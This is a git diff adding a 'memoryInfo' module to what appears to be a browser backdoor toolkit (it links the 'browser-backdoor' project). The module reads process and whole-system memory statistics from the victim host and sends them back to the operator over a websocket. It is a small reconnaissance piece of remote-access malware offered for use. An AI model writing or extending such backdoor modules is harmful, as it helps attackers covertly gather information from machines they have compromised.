diff --git a/server/modules/memoryInfo.js b/server/modules/memoryInfo.js new file mode 100644 index 0000000..31125e1 --- /dev/null +++ b/server/modules/memoryInfo.js @@ -0,0 +1,15 @@ +/** + * @file memoryInfo Module + * @summary Gets current process and system memory statisics. + * @author Carleton Stuberg + * @see https://github.com/IMcPwn/browser-backdoor + * @license MIT + * @version 0.1 + */ + +/** + * @return {String} Process memory statistics + * @return {String} System memory statstics + */ +ws.send("Current process (in kB)\n" + "workingSetSize: " + process.getProcessMemoryInfo().workingSetSize + "\npeakWorkingSetSize: " + process.getProcessMemoryInfo().peakWorkingSetSize + "\nprivateBytes: " + process.getProcessMemoryInfo().privateBytes + "\nsharedBytes: " + process.getProcessMemoryInfo().sharedBytes); +ws.send("Entire system (in kB)\n" + "\ntotalBytes: " + process.getSystemMemoryInfo().total + "\nfree: " + process.getSystemMemoryInfo().free + "\nswapTotal: " + process.getSystemMemoryInfo().swapTotal + "\nswapFree: " + process.getSystemMemoryInfo().swapFree);